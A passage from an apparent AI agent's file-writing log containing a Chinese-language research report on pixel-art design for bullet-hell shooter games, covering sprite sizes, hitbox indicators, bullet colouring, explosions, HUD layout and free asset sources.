of Collection)**:靠近屏幕顶端的一条\"自动收集线\"(东方系标准道具回收机制),线上道具全自动收集——UI/视觉上要有明确标识(例如顶部的装饰发光横线)。\n\n### 4.3 得分 / 连击的视觉反馈\n\n- **数字飘字**:得分/连击数用大号、亮色、带描边的像素数字,从事件点弹出并上浮淡出;字体建议用现成像素字体(如 Press Start 2P、Silkscreen 的开源替代)。\n- **连击(Combo/Chain)反馈**:连击计时条/乘数图标(如\"x2.5\")靠近 HUD 核心区;连击即将断时闪烁/变红制造紧张感(Dodonpachi 式\"防御性计分\"靠视觉压力驱动玩法)。\n- **擦弹(Graze)反馈**:子弹擦过判定外圈时给火花/星光 + 分数飘字,是东方系核心爽点,视觉上要有专门粒子。\n- **分数增长可视化**:让\"数字变大\"成为本能驱动(Boghog:大亮数字的成长本身就是激励)。\n- **层次化强调**:重要计分元素视觉上加强(更大更亮),次要元素弱化,让玩家一眼抓住当前目标(Boghog「Depth vs Clarity」)。\n\n### 4.4 血条、Bomb 数量等 HUD 设计\n\n- **HUD 基础要素**(STG 惯例):得分、连击/擦弹、自机数量(残机图标)、Bomb 数量(B 图标)、火力等级、Boss 血条(分段)、Boss 名/符卡名横幅、暂停/接关菜单。\n- **Boss 血条**:建议**分段色条**(每段对应一个攻击阶段),置于屏幕上方通栏;段末闪白提示\"即将切换攻击\"。\n- **Bomb 图标**:用典型\"B\"或者手雷/符卡造型的像素图标,数量用并列小图标表示(东方系风格:一枚 B 一颗星/符卡的排列)。\n- **残机(Lives)**:像素自机小图标排列,比数字更直观。\n- **注意遮挡**:HUD 元素放在玩法区之外(顶部/底部条)或半透明;Boghog 提醒玩家主要在屏幕中区活动,HUD 不应遮挡弹幕视野。\n- **风格统一**:HUD 的像素分辨率、色板、字体与游戏本体一致(CraftPix 等素材库提供现成 pixel UI,可直接适配)。\n- **像素 UI 素材参考**:CraftPix.net 的 Pixel Art Game UI 分类(免费/付费都有)。\n\n---\n\n## 5. 参考资源搜索汇总\n\n### 5.1 itch.io 免费/付费像素弹幕素材\n\n| 资源 | 内容 | 链接 |\n|---|---|---|\n| **Danmaku Sprite Pack**(Void dancer)| 模仿东方官方风格的子弹精灵包,免费,需遵守东方二次创作规约,可编辑 | https://void-dancer.itch.io/danmaku-sprite |\n| **Danmaku Sprite Pack(BDragon1727)** | 16×16 火/水/魔法子弹、特效精灵表,免费 | https://bdragon1727.itch.io/fire-pixel-bullet-16x16 、 https://bdragon1727.itch.io/free-effect-and-bullet-16x16 |\n| **Pixel SHMUP Ships / Pixel Art Spaceships for SHMUP**(DyLESTorm)| 免费 1 自机+2 敌机+2 弹幕+8 帧爆炸+UI;付费版 60 艘原创飞船 | https://livingtheindie.com/free-pixel-art-smhup-ships-game-asset 、 https://livingtheindie.itch.io/pixel-art-spaceships-for-shmup |\n| **Pixel Nebula Player SpaceShip**(PixelCarvel)| 32×32 自机,另有玩家僚机(Drone)、Boss 包、竖向背景包 | https://itch.io/game-assets/tag-bullet-hell |\n| **TopDown BulletHell Pack**(einav23)| $5.50 俯视角弹幕包(子弹+敌机+特效) | https://itch.io/game-assets/tag-bullet-hell |\n| **itch.io 筛选页** | `tag=Bullet Hell`、`tag=Shoot 'Em Up`、`tag=Pixel Art`、`Free` 组合筛选 | https://itch.io/game-assets/free/tag-pixel-art/tag-shoot-em-up 、 https://itch.io/game-assets/free/tag-bullet-hell/tag-sprites 、 https://itch.io/game-assets/free/tag-2d/tag-bullet-hell |\n\n### 5.2 OpenGameArt 免费素材(CC0/OGA-BY 授权)\n\n- **Explosions, Bullets, Fire etc (Pixel art)**:爆炸/子弹/火/电等离子精灵,干净像素风 | https://opengameart.org/content/explosions-bullets-fire-etc-pixel-art\n- **Assets Free Laser Bullets Pack 2020**(Wenrexa):66 个 CC0 激光/子弹 PNG,建议配 Color Dodge/Lighten 叠加渲染 | https://opengameart.org/content/assets-free-laser-bullets-pack-2020\n- **Enemy Spaceship 2D Sprites Pixel Art**(CraftPix 发布,OGA-BY 3.0):敌机精灵 | https://opengameart.org/content/enemy-spaceship-2d-sprites-pixel-art\n- **shmup 合集页**:https://opengameart.org/content/shmup\n\n### 5.3 经典 STG 精灵分析与弹幕设计参考\n\n- **Touhou Wiki - Hit box**:判定点机制与尺寸说明 | https://touhou.fandom.com/wiki/Hit_box 、 https://en.touhouwiki.net/wiki/Hitbox\n- **Touhou Danmakufu: Bullets(Fandom)**:8 色子弹系统 | https://touhou.fandom.com/wiki/Touhou_Danmakufu:_Bullets\n- **Touhou Community Jargon**:子弹类型名称大全(球/苦无/护符/星/音符/冰锥等)| https://maribelhearn.com/jargon\n- **Sparen's Danmaku Design Studio(Guide A2/A3)**:固定/随机/瞄准三种发射角、方向性子弹图形、环形公式 | https://sparen.github.io/ph3tutorials/ddsga2.html\n- **Boghog's bullet hell shmup 101**:弹幕游戏设计圣经(可见性/价值分层/深度排序/Toaplan 阵型等)| https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101\n- **Shmups Wiki 主站**:https://shmups.wiki\n- **Video Game Boss Design For Shmups**(GameDeveloper):血条分段与 Boss 战设计 | https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups\n- **The Anatomy of a Shmup**(GameDeveloper):爆炸、预告、难度交互清单 | https://www.gamedeveloper.com/design/the-anatomy-of-a-shmup\n- **Bullet Pattern Design(SHMUP WORKSHOP 03,YouTube)**:渐进难度/预告/引导玩家 | https://www.youtube.com/watch?v=ArZRZSYICLo\n\n### 5.4 像素艺术风格指南(教程/博客)\n\n- **SLYNYRD Pixelblog 31 - Shmup Design Part 1**:分辨率、自机、敌机、子弹、爆炸(本报告核心来源之一)| https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design\n- **SLYNYRD Pixelblog 32 - Shmup Design Part 2**:玩家射击类型(Vulcan/Laser/Homing)、道具、环境/视差 | https://www.slynyrd.com/blog/2021/2/15/pixelblog-32-shmup-design-part-2\n- **Pixel Art Tutorial - Understanding Explosions**(Penusbmic,itch.io 视频教程):爆炸动画两种做法 | https://penusbmic.itch.io/pixel-art-tutorial-understanding-explosions\n- **The 12 animation principles adapted for pixel art**(sprite-ai.art):低分辨率下的挤压拉伸/跟随动作 | https://www.sprite-ai.art/guides/animation-principles\n- **Aseprite / Piskel 爆炸教程**(YouTube 检索词:Aseprite pixel art explosion tutorial)\n- Piskel(免费在线像素编辑器):https://www.piskelapp.com\n\n### 5.5 建议搜索关键词(继续深挖用)\n\n`pixel art shmup sprites`、`bullet hell pixel art assets`、`STG sprite design`、`东方Project 像素风格`、`pixel art explosion animation`、`Touhou danmakufu bullet graphics`、`danmaku bullet sheets site:itch.io`、`shmup hitbox indicator`、`CAVE 子弹精灵拆解`\n\n---\n\n## 6. 给本项目落地落实的美术规范建议(可直接执行)\n\n1. **画布与倍率**:逻辑分辨率 **480×270(推荐)或 320×180**,整数倍放大 3~4 倍输出;所有精灵按 16 或 8 的倍数取尺寸(16×16 自机起步 / 32×32 精细自机;敌弹 8~16×16 系列;Boss 64×64)。\n2. **色板分工(建议)**:\n - 背景:低饱和中暗调(深蓝紫灰系),价值集中在中间调;\n - 敌方子弹:红/粉/紫系(8 色 Danmakufu 色板起步)+ 白/亮描边;\n - 我方子弹:青/绿白系 + 深描边;自机:高对比品牌色(如红白、蓝白);\n - 道具:金/橙(得分)、红(火力 P)、蓝(速度 S)、银灰(Bomb)——注意与敌弹色彩错开;\n - 爆炸:白→橙红黄→灰;\n - 预警:蓄力时变亮/变红,激光先亮细线。\n3. **动画帧数基线**:自机滚转 3~5 帧 + 尾焰 2~4 帧;敌机 2~4 帧;子弹旋转 4 帧(或 8 帧)、脉动 2~4 帧、闪烁 2 帧;爆炸 6~10 帧;道具 idle 2~4 帧。统一 12~15 FPS。\n4. **判定与显示**:自机真实判定用 2~4px 半径小圆,聚焦时显示同心空心圆 + 中心点(半透明+微旋),判定圈与显示圈完全同心。\n5. **绘制顺序(渲染层)**:背景 → 道具/粒子 → 我方子弹 → 敌人本体 → 我方自机 → **敌方子弹(最顶层)**;敌弹内部:小快弹 > 大慢弹。\n6. **工作流建议**:先用 itch.io/OpenGameArt 免费包搭出可玩原型(自机 1 + 敌机 3 + 子弹 5 种 + 爆炸 1 + UI 板),再按上述规范逐一套用原创精灵替换;调色与动画用 Aseprite(付费,推荐)或 Piskel(免费)。\n\n---\n\n## 7. 信息来源与可信度说明\n\n- **基于实测/原文提取的内容**(可信度高,可自行核验):SLYNYRD Pixelblog 31/32 全文、Boghog's bullet hell shmup 101 全文、void-dancer Danmaku Sprite Pack 页面、LivingTheIndie 免费 SHMUP 素材描述、各 itch.io/OpenGameArt 页面标题与标签。\n- **基于第三方社区/百科归纳**:Touhou Wiki 判定点机制(Hitbox 条目)、Maribel Hearn 的 Touhou Jargon、Sparen 弹幕教程、note 上\"15 个美丽弹幕\"文章、Reddit r/shmupdev 讨论——这些是社区整理,非官方文档,具体数值(如判定点像素大小、各作品子弹尺寸)以实际游戏/官方资料为准。\n- **标注为\"既有认知+\"的内容**(第 1.3 节东方风格总结):来自模型训练知识与社区资料交叉印证,非实时官方文档,**未逐一验证**,使用前建议对照东方官方立绘/游戏截图复核。\n- **价格为检索时点快照**(如 $5.50、$4.99),可能变动,以页面为准。"}, "ts": 1787459536996}, {"type": "progress", "id": "call_d50cb731e612477f9e864c00", "tool": "write_file", "status": "completed", "args": {"file_path": "research/pixel_art_style/pixel_art_research.md", "content": "# 像素风格弹幕射击游戏(Bullet Hell / STG)美术设计调研报告\n\n> 调研时间:2026-08-23\n> 调研范围:玩家自机设计、敌方单位设计、子弹/弹幕像素美术、特效与 UI、免费素材与参考资源\n> 主要信息来源:SLYNYRD(Pixelblog 31/32)、Shmups Wiki「Boghog's bullet hell shmup 101」、Touhou Wiki、Sparen's Danmaku Design Studio、itch.io / OpenGameArt 素材库、(注:详见文末「信息来源与可信度」说明)\n\n---\n\n## 0. 摘要与总体结论\n\n- **弹幕游戏(Danmaku)的美术核心不是\"好看\",而是\"可读性(Readability)\"**:在屏幕同时存在数百颗子弹、多个敌人、粒子特效与道具时,玩家必须能在一瞬间分辨\"哪些是威胁、往哪里躲\"。所有美术决策都应服务于这一目标。\n- **色彩价值(Value)分层是清晰度的关键**:背景用低对比中间调,子弹用小面积高亮+暗色描边(亮暗相邻),玩家子弹、敌方子弹、道具、爆炸用不同明度层级区分。\n- **尺寸基准很重要**:16:9 屏幕下 SLYNYRD 建议 320×180 ~ 640×360 逻辑分辨率;自机相对屏幕的比例决定难度与手感。弹幕游戏常用低分辨率(如 480×270)让像素感更强烈、单位像素信息更少、制作更快。\n- **判定框(Hitbox)视觉提示**是东方式弹幕的标配:低速(聚焦)模式下显示一个小点或小圈,明确告诉玩家\"真正会中弹的位置\",与自机精灵大小形成强烈对比。\n- **免费素材足够支撑原型开发**:itch.io 与 OpenGameArt 上有大量免费像素 STG 素材(自机、敌机、子弹、爆炸、UI),落地阶段可先采购/复用,再逐步原创替换。\n\n---\n\n## 1. 玩家飞船 / 角色设计\n\n### 1.1 分辨率与屏幕尺寸基准(先定画布再画图)\n\n- SLYNYRD(Raymond Schlitter,Thyrian Defenders 作者)建议:16:9 屏幕下,**逻辑分辨率黄金区间为 320×180 ~ 640×360**;其教程以 **480×270** 为目标。\n- 分辨率越低像素越\"块\",像素味越浓、绘制耗时越少;但分辨率过高会失去像素艺术的\"集群可读性(reading intention within clusters)\"。\n- **自机相对屏幕的比例是决定玩法的关键因素**:屏幕越大、自机越小 → 适合高速、多元素同屏的弹幕玩法;自机占屏比越大 → 可容纳的物体越少、玩家反应时间越短(难度体验完全不同)。\n- 常见像素倍率:逻辑分辨率 320×180 / 480×270,放大 2~4 倍整数倍显示,避免像素走样。\n\n**建议(本项目)**:采用 480×270 或 320×180 逻辑分辨率;自机精灵建议 16×16(低配小自机)或 24×24 / 32×32(更有性格);弹幕量较大的话自机宜偏小。\n\n### 1.2 经典像素 STG 自机设计要点(大小、配色、识别度)\n\n综合 SLYNYRD 教程与 Boghog 指南:\n\n- **简洁+独特**:设计越复杂,动画越难做。建议在机翼加条纹(striping)增加性格,同时强调滚转(roll)的深度感。\n- **倾斜/滚转动画**:至少 左/右 + 居中 三帧;SLYNYRD 推荐每侧 **2 帧不同滚转度**(共 5 帧),配合侧向光源,左右移动更平滑(支持模拟输入时可分档滚转)。\n- **尾焰/推进器动画(thruster animation)是必须**:让飞船\"活着\"的关键,通常 2~4 帧。\n- **光源方向全场景统一**:所有精灵与背景使用同一方向光源,才能保持\"飞行\"的立体幻觉。\n- **识别度三要素**:① 与背景/敌方单位的明度层级区分;② 自机弹幕流要\"厚、快、密\"——玩家在紧张的弹幕环境中主要靠弹幕流+轮廓+微光来估算自机位置(Boghog);③ 判定中心可加视觉强调(见 1.5)。\n- **移动手感与视觉配合**:滚转动画速度应匹配移动速度;无惯性移动(Boghog 强烈建议避免移动惯性),若感觉移动\"不流畅\"多半是视觉问题而非参数问题——加残影(afterimage)、尾迹(trail)可显著改善跟手感。\n\n### 1.3 东方Project 系列的角色精灵风格\n\n(说明:以下为对 ZUN 官方游戏内精灵风格的既有认知 + 社区资料的归纳,非实时官方文档。)\n\n- 东方系列正作均为**纵轴弹幕射击**,自机/敌机使用**低分辨率角色小精灵**(PC-98 时代为 16×16 级;Windows 时代精灵更精细但整体仍是\"小尺寸、高识别度\"路线)。\n- 精灵风格特点:**大胆的色块、平涂/少渐变、深色描边**;角色通过发型、发色、服装主色快速辨识(如博丽灵梦的红白、雾雨魔理沙的黑白)。\n- **判定点文化**:按住 Shift 进入低速模式时,自机身上显示一个**小点/小圈标记判定点**(见 1.5),这是东方体系对弹幕公平性的核心贡献,被大量同类游戏沿用。\n- 弹幕本体是同人圈大量复刻的视觉语言:圆弹(tama)、椭圆弹、苦无(kunai)、星弹、音符、护符(amulet)等,见第 3 节。\n- 参考手绘同人/教程中常被提到的 ZUN 风格要点:面部与发型保持多年一致;早期(PC-98)更简朴,色块平涂、用色大胆;Windows 期精灵颜色细节更多但仍保持低饱和背景衬托高饱和子弹的做法。\n\n### 1.4 像素飞船设计要点(落地 Checklist)\n\n| 项目 | 建议 |\n|---|---|\n| 尺寸 | 16×16(极简)/ 24×24 / 32×32(推荐起步) |\n| 帧数 | 居中 1 帧 + 左右滚转各 1~2 帧 = 3~5 帧;尾焰 2~4 帧 |\n| 调色板 | 4~8 色以内/精灵:主色 1~2、辅色/描边 1~2、高光 1、尾焰橙黄 2~3 |\n| 描边 | 深色(近黑)描边,与\"用白色描边的敌方子弹\"形成体系区分 |\n| 轮廓 | 剪影可读性优先,避免细节糊成一片;从剪影草图开始 |\n| 判定中心 | 建议在自机中心下方(东方系在腰部)标 1~2px 亮点 |\n\n### 1.5 判定框(Hitbox)视觉提示设计\n\n- **机制背景**:东方系列中自机碰撞通常用一个**远小于精灵的小圆(约数像素半径)**判定(源自 Touhou Wiki「Hit box」条目:Hitbox 是角色腰部附近的一个小圆,聚焦时可显示)。\n- **视觉提示做法(主流方案)**:\n 1. **低速/聚焦模式才显示**:按住 Shift(低速)时显示一个半透明小圆圈/小点;普通模式不显示(避免干扰)。\n 2. 提示图形建议:**空心圆 + 中心实点**,对比色(如白/亮色配深色描边),随聚焦模式**轻微旋转/脉动**增加存在感(红魔乡社区的 d3d8.dll hitbox 补丁即模拟这种\"旋转+透明度变化\"行为)。\n 3. 判定圈大小应**可配置**(不同自机可不同),提示圈与真实判定圈完全同心、直径一致。\n- **视觉之外的判定公平性**:Boghog 建议——玩家子弹给\"大判定\"、敌人给\"大受击判\"(补偿微操作失误);玩家命中应\"慷慨\"(覆盖贴合情况),才不会有挫败感。\n\n---\n\n## 2. 敌方单位设计\n\n### 2.1 杂兵(Enemy Grunts)的像素设计\n\n- **同一阵营视觉统一+个体差异**:SLYNYRD 强调\"一组单位共享视觉一致性(形态语言、配色体系),又通过形状与颜色彼此区分\"。\n- **角色定位决定美术**:按\"速度 / 血量 / 体型 / 几何弹道 / 颜色\"五要素设计(SLYNYRD):\n - **Popcorn(一发即死的小怪)**:体积小、快、成群出现,是为了制造\"动作感\"而非威胁;血量只要够\"打完这一局\"即可,不要虚高(Boghog)。\n - 快怪 ↔ 低血量+弱弹;慢怪 ↔ 高血量+强火力,尺寸跨度要大。\n- **做 hit 反馈**:受击要闪烁/粒子/抖动,配轻量音效,否则敌人像\"虚影\"(Boghog)。\n- **大判定+可预测移动**:弹幕游戏的挑战来自弹幕而非躲闪敌人本体,所以敌人受击判定要大、移动要慢且可预测(Boghog)。\n- **尺寸参考**:杂兵 16×16 ~ 24×24;中 Boss(miniboss)32×32~48×48;帧数 2~4 帧(多帧震动/开火动画)。\n\n### 2.2 Boss 的体型与细节层次\n\n- **体型梯度**:Boss 应显著大于杂兵(如 48×48、64×64 甚至 96×96),\"越大杀起来越爽\"(SLYNYRD),但不要大到遮挡弹幕视野。\n- **细节层次**:Boss 可以有更多层细节(多层装甲、发光炮口、悬浮部件/浮游炮),但**核心剪影仍需在弹幕中一眼可读**;建议给 Boss 的主炮口、弱点做高亮标记。\n- **Boss 血条分段**:许多 STG 用可视化的 Boss 血条分段(每段切换一个攻击模式),例如 Gamedeveloper 文章提到\"视觉上将 Boss 血条分段以显示本段攻击何时结束\"。\n- **Boss 出场仪式**:Boss 出现前要有\"警告留白\"(玩家无事可做、专注看字幕/警告),用于聚集注意力(Anatomy of a Shmup)。\n- **Boss 爆炸要\"壮观\"**:屏幕级闪光 + 大爆炸动画 + 碎片四散(见 4.1)。\n\n### 2.3 敌方攻击前的视觉预警(Telegraph)\n\n- **蓄力动画**:炮口发光→聚集→发射,是通用预警语言;用 2~4 帧\"粒子向炮口汇聚/炮口颜色渐亮\"表达。\n- **颜色变化**:攻击前单位变色(如变红/变亮)提示即将开火。\n- **激光预警**:东方系激光常见\"先显示一条细亮线(约半秒)再出现命中判定\",是纯粹靠视觉(而非判定)预告的典型做法(社区对永夜抄等作品的解读)。\n- **模式分阶段呈现**:Boss 战先出简单版弹幕→每次重复更快更密更狠(Bullet Pattern Design 教程),玩家靠\"渐进式预告\"进入节奏。\n- **背景预告**:关卡背景用\"地标/视觉节奏\"给玩家读版记忆的锚点(SLYNYRD Part 2)——背景不只是装饰,是记忆关卡的工具。\n- **弹幕扇面/轨迹预告**:可弯曲、可追踪的弹幕建议加尾迹或拉长精灵,让轨迹可读(Boghog)。\n\n---\n\n## 3. 子弹 / 弹幕的像素美术\n\n### 3.1 常见像素子弹样式与尺寸\n\n**东方/弹幕体系常用子弹类型命名**(Touhou Community Jargon、Danmakufu 文档):球(Ball)、椭圆弹、苦无(Kunai)、护符(Amulet)、星弹(Star 大/小)、音符(Note)、米粒/细菌弹、冰锥/碎片(Shard/Icicle)、箭头(Arrow)、火球、心形、花瓣、蝴蝶等。\n\n| 子弹类型 | 常见尺寸 | 形态与用途 |\n|---|---|---|\n| 小圆弹(Pellet/Tama) | 8×8 ~ 12×12 | 基础弹,最密集,靠数量形成弹幕 |\n| 中圆弹(Ball) | 16×16 | 通用主力弹,清晰可读 |\n| 椭圆弹(Oval) | 16×20 左右 | 带方向感/旋转感,常用于弯曲弹道 |\n| 苦无/箭形/导向弹(Directed) | 16×32 左右 | **方向性最重要**:图形应随移动方向旋转(SLYNYRD Part 2:箭头形追踪弹必须朝向运动方向) |\n| 大弹/特殊弹 | 24×24 / 32×32 | Boss 特殊弹、高伤弹 |\n| 激光(Laser) | 宽 4~16、长任意 | 预热细线→粗化→判定 |\n\n### 3.2 子弹颜色与类型的对应关系\n\n- **Danmakufu 官方 8 色**:RED、GREEN、BLUE、YELLOW、PURPLE、AQUA、ORANGE、WHITE——可作为色板起点,且激光与子弹共用这 8 色图形。\n- **颜色编码用途(Note 上\"15 个美丽弹幕\"文章 + Boghog)**:\n - 用颜色区分\"快弹 / 慢弹 / 装饰弹\"等**危险等级**,玩家读色即知威胁;\n - 颜色同时用于表达\"瞄准玩家的弹(aimed)\"与\"固定弹(static)\"等行为差异(各 STG 有自己约定,需在游戏内自学);\n - **红/粉/紫系是弹幕圈事实标准**:与常见特效颜色(黄橙爆炸、金色道具)冲突最少,不易混淆(Boghog 明确指出黄/橙传统弹容易与爆炸和金色道具撞色)。\n- **子弹颜色与发射单位颜色匹配**(SLYNYRD):敌方单位与它发射的子弹同色系,建立\"谁打的\"直觉。\n- **我方子弹用另一色系**(如青/绿白),与敌方红/粉/紫建立对战双方色系对立。\n\n### 3.3 子弹的动画帧设计(旋转、闪烁、脉动)\n\n- **闪烁(Flashing)**:双帧交替即可,对比越强越\"危险\",但对比过强高速移动时反而难追踪(SLYNYRD);常用于\"即将消失/即将命中\"状态。\n- **旋转(Rotation)**:星形、方形、椭圆可用 4~8 帧旋转;椭圆可做 Z 轴\"翻转\"来模拟 3D 感。\n- **脉动(Pulse)**:轻微膨胀-收缩,任何形状都适用,让子弹\"活着\"。\n- **波动/涟漪(Wobble/Ripple)**:CAVE(虫姬/怒首领蜂)子弹常用抖动+涟漪动画,作用是**抓住眼球并给每颗子弹独特身份**(Boghog)。\n- **动画帧数建议**:2D 旋转 4 帧(90°步进)起步、精细 8 帧;脉动 2~4 帧;闪烁 2 帧。帧率 12~15 FPS 贴合像素风。\n- **拖尾(Trail)**:轨迹不寻常(弯曲/追踪)的子弹加尾迹,帮助玩家预判(Boghog)。\n\n### 3.4 大量弹幕同屏时的视觉清晰度处理(核心)\n\n- **价值(Value)分层**:将图像转黑白即可检查——子弹应\"亮部+暗部紧挨\"(发光核心紧贴深色描边/内圈),最大化明度对比;背景用**低对比中间调**,让子弹可以用极值明度自由突出(Boghog)。\n- **描边(Outline)体系**:**敌方子弹用白色/亮色描边**(或亮+暗双描边),其他精灵用深色描边,从体系上把\"威胁\"和\"物体\"分开(SLYNYRD)。\n- **分块/分组(Chunking)**:把子弹编成线/环/簇等可读图案,让玩家读\"组合\"而非单颗;**单颗游离子弹最难读,容易显得不公平**(Boghog)。\n- **深度排序(Depth Sorting)**:敌方子弹永远绘制在自机、我方子弹、道具、爆炸之上;**小且快的子弹绘制在更大更慢的子弹之上**;单颗/小组绘制在大块之上(Boghog)。\n- **留隙(Design gaps)**:弹幕模式要\"设计缝隙\"——玩家能看见逃生路就公平,光炫但读不出路就让人感到不公平(note 文章)。\n- **限制换色**:单屏同时出现的弹色建议控制在 2~3 种(Boghog 风格惯例),避免信息过载。\n- **背景配合**:背景刻意保持暗/中调+低饱和,就是给子弹让出可读空间。\n\n---\n\n## 4. 特效与 UI\n\n### 4.1 爆炸特效的像素动画(SLYNYRD 方法)\n\n- **制作流程**:先用\"圆→扩张变细环\"的几何引导确定整体尺寸与扩张速率 → 把圆转成有机火焰团块 → 调团块运动。\n- **物理真实感原则**:热气先快后慢(热膨胀快、冷却变慢)→ 爆炸**先迅速扩张、后缓慢消散**。\n- **颜色演变**:**白炽(最亮)→ 暖色(红橙黄)→ 灰烟**消散。\n- **形态演变**:团块从整体一致→随扩张分裂为多而复杂的小块;暗部逐渐侵入;最大扩张后缓慢上浮并化为烟。\n- **冲击波**:把引导环稍作修改即可成冲击波环。\n- **Boss 爆炸**:屏幕级闪光 + 多层大爆炸 + 碎片残留(Anatomy of a Shmup 强调\"一切被摧毁的都应爆炸,Boss 阵亡必须是一场辉煌的灯光秀\")。\n- **尺寸建议**:爆炸精灵显著大于被摧毁单位(如单位 16×16 → 爆炸 24~48×24~48,8 帧左右);碎屑粒子 2~8 帧。\n\n### 4.2 拾取道具的视觉效果\n\n- **可读性优先**:道具必须一眼区别于\"威胁物\",形态独特 + **活跃的空闲动画**(idle animation)——旋转、漂浮、脉动、闪光都行(SLYNYRD Part 2)。\n- **经典道具色/形**:P(Power 火力,红色系)、S(Speed 速度)、Bomb(全屏雷)、1UP 生命、Heart 回血;建议固定配色约定(如红=火力、蓝=速度、金=得分)。\n- **分布与运动**:从特定敌人掉落 / 中立单位给予 / 随机入场;下落时做左右漂移、反弹、摇摆等\"伸手去接也有意思\"的运动。\n- **收集反馈**:拾取瞬间应有闪光+粒子+音效+分数飘字(详见 4.3)。\n- **点收集(Point of Collection)**:靠近屏幕顶端的一条\"自动收集线\"(东方系标准道具回收机制),线上道具全自动收集——UI/视觉上要有明确标识(例如顶部的装饰发光横线)。\n\n### 4.3 得分 / 连击的视觉反馈\n\n- **数字飘字**:得分/连击数用大号、亮色、带描边的像素数字,从事件点弹出并上浮淡出;字体建议用现成像素字体(如 Press Start 2P、Silkscreen 的开源替代)。\n- **连击(Combo/Chain)反馈**:连击计时条/乘数图标(如\"x2.5\")靠近 HUD 核心区;连击即将断时闪烁/变红制造紧张感(Dodonpachi 式\"防御性计分\"靠视觉压力驱动玩法)。\n- **擦弹(Graze)反馈**:子弹擦过判定外圈时给火花/星光 + 分数飘字,是东方系核心爽点,视觉上要有专门粒子。\n- **分数增长可视化**:让\"数字变大\"成为本能驱动(Boghog:大亮数字的成长本身就是激励)。\n- **层次化强调**:重要计分元素视觉上加强(更大更亮),次要元素弱化,让玩家一眼抓住当前目标(Boghog「Depth vs Clarity」)。\n\n### 4.4 血条、Bomb 数量等 HUD 设计\n\n- **HUD 基础要素**(STG 惯例):得分、连击/擦弹、自机数量(残机图标)、Bomb 数量(B 图标)、火力等级、Boss 血条(分段)、Boss 名/符卡名横幅、暂停/接关菜单。\n- **Boss 血条**:建议**分段色条**(每段对应一个攻击阶段),置于屏幕上方通栏;段末闪白提示\"即将切换攻击\"。\n- **Bomb 图标**:用典型\"B\"或者手雷/符卡造型的像素图标,数量用并列小图标表示(东方系风格:一枚 B 一颗星/符卡的排列)。\n- **残机(Lives)**:像素自机小图标排列,比数字更直观。\n- **注意遮挡**:HUD 元素放在玩法区之外(顶部/底部条)或半透明;Boghog 提醒玩家主要在屏幕中区活动,HUD 不应遮挡弹幕视野。\n- **风格统一**:HUD 的像素分辨率、色板、字体与游戏本体一致(CraftPix 等素材库提供现成 pixel UI,可直接适配)。\n- **像素 UI 素材参考**:CraftPix.net 的 Pixel Art Game UI 分类(免费/付费都有)。\n\n---\n\n## 5. 参考资源搜索汇总\n\n### 5.1 itch.io 免费/付费像素弹幕素材\n\n| 资源 | 内容 | 链接 |\n|---|---|---|\n| **Danmaku Sprite Pack**(Void dancer)| 模仿东方官方风格的子弹精灵包,免费,需遵守东方二次创作规约,可编辑 | https://void-dancer.itch.io/danmaku-sprite |\n| **Danmaku Sprite Pack(BDragon1727)** | 16×16 火/水/魔法子弹、特效精灵表,免费 | https://bdragon1727.itch.io/fire-pixel-bullet-16x16 、 https://bdragon1727.itch.io/free-effect-and-bullet-16x16 |\n| **Pixel SHMUP Ships / Pixel Art Spaceships for SHMUP**(DyLESTorm)| 免费 1 自机+2 敌机+2 弹幕+8 帧爆炸+UI;付费版 60 艘原创飞船 | https://livingtheindie.com/free-pixel-art-smhup-ships-game-asset 、 https://livingtheindie.itch.io/pixel-art-spaceships-for-shmup |\n| **Pixel Nebula Player SpaceShip**(PixelCarvel)| 32×32 自机,另有玩家僚机(Drone)、Boss 包、竖向背景包 | https://itch.io/game-assets/tag-bullet-hell |\n| **TopDown BulletHell Pack**(einav23)| $5.50 俯视角弹幕包(子弹+敌机+特效) | https://itch.io/game-assets/tag-bullet-hell |\n| **itch.io 筛选页** | `tag=Bullet Hell`、`tag=Shoot 'Em Up`、`tag=Pixel Art`、`Free` 组合筛选 | https://itch.io/game-assets/free/tag-pixel-art/tag-shoot-em-up 、 https://itch.io/game-assets/free/tag-bullet-hell/tag-sprites 、 https://itch.io/game-assets/free/tag-2d/tag-bullet-hell |\n\n### 5.2 OpenGameArt 免费素材(CC0/OGA-BY 授权)\n\n- **Explosions, Bullets, Fire etc (Pixel art)**:爆炸/子弹/火/电等离子精灵,干净像素风 | https://opengameart.org/content/explosions-bullets-fire-etc-pixel-art\n- **Assets Free Laser Bullets Pack 2020**(Wenrexa):66 个 CC0 激光/子弹 PNG,建议配 Color Dodge/Lighten 叠加渲染 | https://opengameart.org/content/assets-free-laser-bullets-pack-2020\n- **Enemy Spaceship 2D Sprites Pixel Art**(CraftPix 发布,OGA-BY 3.0):敌机精灵 | https://opengameart.org/content/enemy-spaceship-2d-sprites-pixel-art\n- **shmup 合集页**:https://opengameart.org/content/shmup\n\n### 5.3 经典 STG 精灵分析与弹幕设计参考\n\n- **Touhou Wiki - Hit box**:判定点机制与尺寸说明 | https://touhou.fandom.com/wiki/Hit_box 、 https://en.touhouwiki.net/wiki/Hitbox\n- **Touhou Danmakufu: Bullets(Fandom)**:8 色子弹系统 | https://touhou.fandom.com/wiki/Touhou_Danmakufu:_Bullets\n- **Touhou Community Jargon**:子弹类型名称大全(球/苦无/护符/星/音符/冰锥等)| https://maribelhearn.com/jargon\n- **Sparen's Danmaku Design Studio(Guide A2/A3)**:固定/随机/瞄准三种发射角、方向性子弹图形、环形公式 | https://sparen.github.io/ph3tutorials/ddsga2.html\n- **Boghog's bullet hell shmup 101**:弹幕游戏设计圣经(可见性/价值分层/深度排序/Toaplan 阵型等)| https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101\n- **Shmups Wiki 主站**:https://shmups.wiki\n- **Video Game Boss Design For Shmups**(GameDeveloper):血条分段与 Boss 战设计 | https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups\n- **The Anatomy of a Shmup**(GameDeveloper):爆炸、预告、难度交互清单 | https://www.gamedeveloper.com/design/the-anatomy-of-a-shmup\n- **Bullet Pattern Design(SHMUP WORKSHOP 03,YouTube)**:渐进难度/预告/引导玩家 | https://www.youtube.com/watch?v=ArZRZSYICLo\n\n### 5.4 像素艺术风格指南(教程/博客)\n\n- **SLYNYRD Pixelblog 31 - Shmup Design Part 1**:分辨率、自机、敌机、子弹、爆炸(本报告核心来源之一)| 